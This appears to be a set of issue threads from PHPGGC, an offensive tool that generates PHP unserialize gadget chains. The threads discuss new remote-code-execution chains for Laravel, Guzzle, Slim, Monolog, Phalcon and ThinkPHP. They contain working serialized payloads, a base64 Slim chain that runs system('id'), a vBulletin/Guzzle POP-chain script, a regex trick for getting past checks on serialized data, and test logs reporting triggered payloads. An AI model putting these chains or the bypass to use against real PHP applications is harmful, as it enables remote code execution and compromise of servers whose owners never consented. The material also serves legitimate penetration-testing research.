Looks like someone published 4 new exploits for Laravel via an unserialize pop chain in __destruct and dispatch($command).. I tested them and confirmed they work.

source: https://github.com/1nhann/vulns/issues/1 https://github.com/1nhann/vulns/issues/2 https://github.com/1nhann/vulns/issues/3 https://github.com/1nhann/vulns/issues/4

Posting here since this may be of interest to implement into phpggc

There is a trick which can be used to bypass some attempts to validate the serialised data given: Put a + before all integer values of Object and/or Classes (there might be also possible for integer and string, haven't checked).

For instance:

O:19:"WC_Log_Handler_File":1:{s:10:"*handles";C:33:"Requests_Utility_FilteredIterator":80:{x:i:0;a:1:{i:0;s:7:"phpinfo";};m:a:1:{s:11:"*callback";s:14:"call_user_func";}}}

would become

O:+19:"WC_Log_Handler_File":1:{s:10:"*handles";C:+33:"Requests_Utility_FilteredIterator":80:{x:i:0;a:1:{i:0;s:7:"phpinfo";};m:a:1:{s:11:"*callback";s:14:"call_user_func";}}}

So far I am using a wrapper as this is a very specific situation to bypass the check in place:

public function process_serialized($serialized) {
    return preg_replace('/(C|O):(\d+):/', '$1:+$2:', $serialized);
}

However, it might be interesting to add it as an enhancement

Hi,

Is it possible to have the Monolog or Guzzle RCE gadget chains execute a function with multiple parameters?

I've been playing around with the chains but couldn't get it to work yet.

E.g. If it's possible to call call_user_func_array with two parameters, it should be feasible to call any function with an arbitrary number of parameters.

When listing the gadget chains or displaying their information, the Version is kind of confusing.

For example

./phpggc -l
Gadget Chains
-------------

NAME                                    VERSION                TYPE             VECTOR         I    
CodeIgniter4/RCE1                       4.0.0-beta.1 <= ?      rce              __destruct          
Doctrine/FW1                            ?                      file_write       __toString     *    
Drupal7/FD1                             7.0 < ?                file_delete      __destruct     *    
Drupal7/RCE1                            7.0.8 < ?              rce              __destruct     *    
Guzzle/FW1                              6.0.0 <= 6.3.2         file_write       __destruct          
Guzzle/INFO1                            6.0.0 <= 6.3.2         phpinfo()        __destruct     *    
Guzzle/RCE1                             6.0.0 <= 6.3.2         rce              __destruct     *

When I read Guzzle/FW1 6.0.0 <= 6.3.2, I understand that the FW1 has been fixed in the 6.3.2, which is NOT the case. It just means that the gadget has been tested and works for sure with versions 6.0.0 <= 6.3.2.

I don't think that keeping track of each new release and test the gadgets on them is being done or even a solution for long term (unless there would be a way to automate that).

I am not sure what's your stance on that, EDIT: This doesn't make sense, see next comment - but I would suggest that

• The Versions listed to be Minimum_Vulnerable_Version <|<= Fixed_In_Version
• Put the max tested version In the $informations string (-I)
• Maybe add another column to clear things up (like a Tested Up To) ?

Example for Guzzle/FW1, something like:

<?php
namespace GadgetChain\Guzzle;
class FW1 extends \PHPGGC\GadgetChain\FileWrite
{
    public static $version = '6.0.0 <= ?';
    public static $vector = '__destruct';
    public static $author = 'cf';
    public static $informations = 'Tested up to 6.3.2, however newer versions may still be affected';
    
    public function generate(array $parameters)
    {
        $path = $parameters['remote_path'];
        $data = $parameters['data'];
        return new \GuzzleHttp\Cookie\FileCookieJar($path, $data);
    }
}

Could it be possible to implement a PHPInfo GadgetChain type ? It doesn't seem possible to execute it via Guzzle/RCE1 (unless I missed something), but managed to get it working via old crafting methods with

O:24:"GuzzleHttp\Psr7\FnStream":1:{s:9:"_fn_close"%3Bs:7:"phpinfo"%3B}

and would like to send a PR to have it there (affected versions of Guzzle are the same than for the RCE/FW).

Edit: Im trying against GuzzleHTTP v6.2.2 with PSR7 v1.3.1 to be exact.

Exploitation on implicit PHP unserialization via phar:// wrapper is commonly needed during pentest. The forked version of PHPGGC with phar exploitation support is available at https://github.com/s-n-t/phpggc. But, since there are many changes in PHPGGC and maybe there will be more changes to PHPGGC in the future, I think it's better to integrate the PHARGGC to main repo of PHPGGC.

I've installed Slim version 3.8.1 using composer require slim/slim "3.8.1". Generated a payload using this command:

$ phpggc Slim/RCE1 'system("id");' -b
TzoxODoiU2xpbVxIdHRwXFJlc3BvbnNlIjoyOntzOjEwOiIAKgBoZWFkZXJzIjtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjE0OiJTbGltXENvbnRhaW5lciI6Mzp7czoyMToiAFBpbXBsZVxDb250YWluZXIAcmF3IjthOjE6e3M6MzoiYWxsIjthOjI6e2k6MDtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjE0OiJTbGltXENvbnRhaW5lciI6Mzp7czoyMToiAFBpbXBsZVxDb250YWluZXIAcmF3IjthOjE6e3M6MzoiaGFzIjtzOjY6ImFzc2VydCI7fXM6MjQ6IgBQaW1wbGVcQ29udGFpbmVyAHZhbHVlcyI7YToxOntzOjM6ImhhcyI7czo2OiJhc3NlcnQiO31zOjIyOiIAUGltcGxlXENvbnRhaW5lcgBrZXlzIjthOjE6e3M6MzoiaGFzIjtzOjY6ImFzc2VydCI7fX19fWk6MTtzOjEzOiJzeXN0ZW0oImlkIik7Ijt9fXM6MjQ6IgBQaW1wbGVcQ29udGFpbmVyAHZhbHVlcyI7YToxOntzOjM6ImFsbCI7YToyOntpOjA7cjo2O2k6MTtzOjEzOiJzeXN0ZW0oImlkIik7Ijt9fXM6MjI6IgBQaW1wbGVcQ29udGFpbmVyAGtleXMiO2E6MTp7czozOiJhbGwiO2E6Mjp7aTowO3I6NjtpOjE7czoxMzoic3lzdGVtKCJpZCIpOyI7fX19fXM6NzoiACoAYm9keSI7czowOiIiO30=

then I've used the following code to test the RCE:

<?php

use \Psr\Http\Message\ServerRequestInterface as Request;
use \Psr\Http\Message\ResponseInterface as Response;

require 'vendor/autoload.php';

ini_set('display_errors', 1);
error_reporting(E_ALL);

$app = new \Slim\App;

$app->get('/', function (Request $request, Response $response, array $args) {

    $data = 'TzoxODoiU2xpbVxIdHRwXFJlc3BvbnNlIjoyOntzOjEwOiIAKgBoZWFkZXJzIjtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjE0OiJTbGltXENvbnRhaW5lciI6Mzp7czoyMToiAFBpbXBsZVxDb250YWluZXIAcmF3IjthOjE6e3M6MzoiYWxsIjthOjI6e2k6MDtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjE0OiJTbGltXENvbnRhaW5lciI6Mzp7czoyMToiAFBpbXBsZVxDb250YWluZXIAcmF3IjthOjE6e3M6MzoiaGFzIjtzOjY6ImFzc2VydCI7fXM6MjQ6IgBQaW1wbGVcQ29udGFpbmVyAHZhbHVlcyI7YToxOntzOjM6ImhhcyI7czo2OiJhc3NlcnQiO31zOjIyOiIAUGltcGxlXENvbnRhaW5lcgBrZXlzIjthOjE6e3M6MzoiaGFzIjtzOjY6ImFzc2VydCI7fX19fWk6MTtzOjEzOiJzeXN0ZW0oImlkIik7Ijt9fXM6MjQ6IgBQaW1wbGVcQ29udGFpbmVyAHZhbHVlcyI7YToxOntzOjM6ImFsbCI7YToyOntpOjA7cjo2O2k6MTtzOjEzOiJzeXN0ZW0oImlkIik7Ijt9fXM6MjI6IgBQaW1wbGVcQ29udGFpbmVyAGtleXMiO2E6MTp7czozOiJhbGwiO2E6Mjp7aTowO3I6NjtpOjE7czoxMzoic3lzdGVtKCJpZCIpOyI7fX19fXM6NzoiACoAYm9keSI7czowOiIiO30=';

    $x = unserialize(base64_decode($data));
    var_dump($x);
});

$app->run();

The unserialization works but the payload does not get executed. Here's the output:

object(Slim\Http\Response)#67 (5) {
  ["status":protected]=>
  int(200)
  ["reasonPhrase":protected]=>
  string(0) ""
  ["protocolVersion":protected]=>
  string(3) "1.1"
  ["headers":protected]=>
  object(Slim\App)#68 (3) {
    ["container":"Slim\App":private]=>
    object(Slim\Container)#69 (7) {
      ["defaultSettings":"Slim\Container":private]=>
      array(7) {
        ["httpVersion"]=>
        string(3) "1.1"
        ["responseChunkSize"]=>
        int(4096)
        ["outputBuffering"]=>
        string(6) "append"
        ["determineRouteBeforeAppMiddleware"]=>
        bool(false)
        ["displayErrorDetails"]=>
        bool(false)
        ["addContentLengthHeader"]=>
        bool(true)
        ["routerCacheFile"]=>
        bool(false)
      }
      ["values":"Pimple\Container":private]=>
      array(1) {
        ["all"]=>
        array(2) {
          [0]=>
          object(Slim\App)#70 (3) {
            ["container":"Slim\App":private]=>
            object(Slim\App)#71 (3) {
              ["container":"Slim\App":private]=>
              object(Slim\Container)#72 (7) {
                ["defaultSettings":"Slim\Container":private]=>
                array(7) {
                  ["httpVersion"]=>
                  string(3) "1.1"
                  ["responseChunkSize"]=>
                  int(4096)
                  ["outputBuffering"]=>
                  string(6) "append"
                  ["determineRouteBeforeAppMiddleware"]=>
                  bool(false)
                  ["displayErrorDetails"]=>
                  bool(false)
                  ["addContentLengthHeader"]=>
                  bool(true)
                  ["routerCacheFile"]=>
                  bool(false)
                }
                ["values":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
                ["factories":"Pimple\Container":private]=>
                NULL
                ["protected":"Pimple\Container":private]=>
                NULL
                ["frozen":"Pimple\Container":private]=>
                array(0) {
                }
                ["raw":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
                ["keys":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
              }
              ["stack":protected]=>
              NULL
              ["middlewareLock":protected]=>
              bool(false)
            }
            ["stack":protected]=>
            NULL
            ["middlewareLock":protected]=>
            bool(false)
          }
          [1]=>
          string(13) "system("id");"
        }
      }
      ["factories":"Pimple\Container":private]=>
      NULL
      ["protected":"Pimple\Container":private]=>
      NULL
      ["frozen":"Pimple\Container":private]=>
      array(0) {
      }
      ["raw":"Pimple\Container":private]=>
      array(1) {
        ["all"]=>
        array(2) {
          [0]=>
          object(Slim\App)#70 (3) {
            ["container":"Slim\App":private]=>
            object(Slim\App)#71 (3) {
              ["container":"Slim\App":private]=>
              object(Slim\Container)#72 (7) {
                ["defaultSettings":"Slim\Container":private]=>
                array(7) {
                  ["httpVersion"]=>
                  string(3) "1.1"
                  ["responseChunkSize"]=>
                  int(4096)
                  ["outputBuffering"]=>
                  string(6) "append"
                  ["determineRouteBeforeAppMiddleware"]=>
                  bool(false)
                  ["displayErrorDetails"]=>
                  bool(false)
                  ["addContentLengthHeader"]=>
                  bool(true)
                  ["routerCacheFile"]=>
                  bool(false)
                }
                ["values":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
                ["factories":"Pimple\Container":private]=>
                NULL
                ["protected":"Pimple\Container":private]=>
                NULL
                ["frozen":"Pimple\Container":private]=>
                array(0) {
                }
                ["raw":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
                ["keys":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
              }
              ["stack":protected]=>
              NULL
              ["middlewareLock":protected]=>
              bool(false)
            }
            ["stack":protected]=>
            NULL
            ["middlewareLock":protected]=>
            bool(false)
          }
          [1]=>
          string(13) "system("id");"
        }
      }
      ["keys":"Pimple\Container":private]=>
      array(1) {
        ["all"]=>
        array(2) {
          [0]=>
          object(Slim\App)#70 (3) {
            ["container":"Slim\App":private]=>
            object(Slim\App)#71 (3) {
              ["container":"Slim\App":private]=>
              object(Slim\Container)#72 (7) {
                ["defaultSettings":"Slim\Container":private]=>
                array(7) {
                  ["httpVersion"]=>
                  string(3) "1.1"
                  ["responseChunkSize"]=>
                  int(4096)
                  ["outputBuffering"]=>
                  string(6) "append"
                  ["determineRouteBeforeAppMiddleware"]=>
                  bool(false)
                  ["displayErrorDetails"]=>
                  bool(false)
                  ["addContentLengthHeader"]=>
                  bool(true)
                  ["routerCacheFile"]=>
                  bool(false)
                }
                ["values":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
                ["factories":"Pimple\Container":private]=>
                NULL
                ["protected":"Pimple\Container":private]=>
                NULL
                ["frozen":"Pimple\Container":private]=>
                array(0) {
                }
                ["raw":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
                ["keys":"Pimple\Container":private]=>
                array(1) {
                  ["has"]=>
                  string(6) "assert"
                }
              }
              ["stack":protected]=>
              NULL
              ["middlewareLock":protected]=>
              bool(false)
            }
            ["stack":protected]=>
            NULL
            ["middlewareLock":protected]=>
            bool(false)
          }
          [1]=>
          string(13) "system("id");"
        }
      }
    }
    ["stack":protected]=>
    NULL
    ["middlewareLock":protected]=>
    bool(false)
  }
  ["body":protected]=>
  string(0) ""
}

The system function is not disabled and I am able to execute it if I call it directly. Am I doing something wrong or the payload is not working?

source: https://www.huntr.dev/bounties/3-laravel/framework/

<?php
use Illuminate\Validation\Rules\RequiredIf;

require("vendor/autoload.php");

$gadget = serialize(new RequiredIf("phpinfo"));

echo unserialize($gadget); // exploitation

Add monolog/monolog gadgets rce5 & rce6. Update README.md Monolog version compatibility on RCE with function call and __destruct, based on automatic tests. (not sure about the 6 as only the entrypoint is different from RCE2).

This is an RCE gadget chain for Phalcon < 1.2.3 I found a while ago: https://raz0r.name/talks/confidence-2013-php-object-injection-revisited/. This chain will call render method on \Phalcon\Mvc\View\Engine\Php which will eval() the contents of a local file. I am using here php://input, so that any code in POST data will be evaluated. Please note that we cannot set payload via an argument to __construct(), so the chain does not expect parameters.

There is an capitalized word in phpggc ThinkPHP\RCE1：Smi1e

But in the process of working, the word Smi1e will be converted to lowercase

As a result, the first lowercase word cannot be found in the array

I think the simplest and most effective way to improve is to lowercase all smi1e words

Here is a great blogpost about a nice (old) RCE in vBulletin based on Guzzle and looking like this:

class googlelogin_vendor_autoload {} // fake class to include the autoloader
 
class GuzzleHttp_HandlerStack
{
    private $handler, $stack;
     
    function __construct($cmd)
    {
        $this->stack = [['system']]; // the callback we want to execute
        $this->handler = $cmd; // argument for the callback
    }
}
 
class GuzzleHttp_Psr7_FnStream
{
    function __construct($callback)
    {
        $this->_fn_close = $callback;
    }
}
 
$pop = new GuzzleHttp_HandlerStack('touch pwned'); // the command we want to execute
$pop = new GuzzleHttp_Psr7_FnStream([$pop, 'resolve']);
 
$chain = serialize([new googlelogin_vendor_autoload, $pop]);
 
$chain = str_replace(['s:', chr(0)], ['S:', '\00'], $chain);
$chain = str_replace('GuzzleHttp_HandlerStack', 'GuzzleHttp\HandlerStack', $chain);
$chain = str_replace('GuzzleHttp_Psr7_FnStream', 'GuzzleHttp\Psr7\FnStream', $chain);
$chain = str_replace('0GuzzleHttp\HandlerStack', '0GuzzleHttp\5CHandlerStack', $chain);
     
print $chain;

it would be nice to have it in phpggc :)

Hi there, the ThinkPHP/rce3: (also works on test version 6.0.1 As for the ThinkPHP/rce4, using composer to test won't work out (because the middle step need a connection), we should build it up and add an entry manually.

the Monolog/fw2: Monolog/info1: all on the version 2.0.0

the Symfony/rce7: Symfony/fd1: so many versions so I didn't use the test-compatibility.py

Hi, for your convenience this time, I test the compatibility and have some questions. The result of test-gc-compatibility.py shows that RCE13, RCE15 and RCE16 maps these versions: ...... ...... which I have written in the chain.php.

But when I use composer to build and test the project manually, the results show that it all worked. And I am confused about this. for example the 8.6.12:

root@26ff7789df03:/phpggc# composer create-project laravel/laravel=8.6.12 laravel_8.6.12
root@26ff7789df03:/phpggc# cd laravel_8.6.12/
root@26ff7789df03:/phpggc/laravel_8.6.12# php ../phpggc laravel/rce12 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !
root@26ff7789df03:/phpggc/laravel_8.6.12# php ../phpggc laravel/rce14 --test-payload
Trying to deserialize payload...
PHP Fatal error:  Uncaught OverflowException: Maximum retries of 1 reached without finding a valid value in /phpggc/laravel_8.6.12/vendor/fakerphp/faker/src/Faker/ValidGenerator.php:72
Stack trace:
#0 /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php(72): Faker\ValidGenerator->__call()
#1 [internal function]: Illuminate\Broadcasting\PendingBroadcast->__destruct()
#2 {main}
  thrown in /phpggc/laravel_8.6.12/vendor/fakerphp/faker/src/Faker/ValidGenerator.php on line 72
SUCCESS: Payload triggered !
root@26ff7789df03:/phpggc/laravel_8.6.12# php ../phpggc laravel/rce16 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !
root@26ff7789df03:/phpggc/laravel_8.6.12# php ../phpggc laravel/rce15 --test-payload
Trying to deserialize payload...
PHP Fatal error:  Uncaught Error: Call to a member function connect() on string in /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Queue/QueueManager.php:163
Stack trace:
#0 /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Queue/QueueManager.php(138): Illuminate\Queue\QueueManager->resolve()
#1 /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Queue/QueueManager.php(291): Illuminate\Queue\QueueManager->connection()
#2 /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php(72): Illuminate\Queue\QueueManager->__call()
#3 [internal function]: Illuminate\Broadcasting\PendingBroadcast->__destruct()
#4 {main}
  thrown in /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Queue/QueueManager.php on line 163
SUCCESS: Payload triggered !
root@26ff7789df03:/phpggc/laravel_8.6.12# php ../phpggc laravel/rce13 --test-payload
Trying to deserialize payload...
PHP Fatal error:  Uncaught TypeError: Argument 1 passed to Illuminate\Database\DatabaseManager::configure() must be an instance of Illuminate\Database\Connection, array given, called in /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php on line 95 and defined in /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php:175
Stack trace:
#0 /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php(95): Illuminate\Database\DatabaseManager->configure()
#1 /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php(442): Illuminate\Database\DatabaseManager->connection()
#2 /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php(72): Illuminate\Database\DatabaseManager->__call()
#3 [internal function]: Illuminate\Broadcasting\PendingBroadcast->__destruct()
#4 {main}
  thrown in /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php on line 175
SUCCESS: Payload triggered !

And for the versions >= 9.0.0, it requires PHP > 8, the PHP 7.4 can't composer install (I am not sure if this has anything to do with the result), I changed the PHP environment and the results show the same:

composer create-project laravel/laravel=9.3.10

Emmmm ... really confused.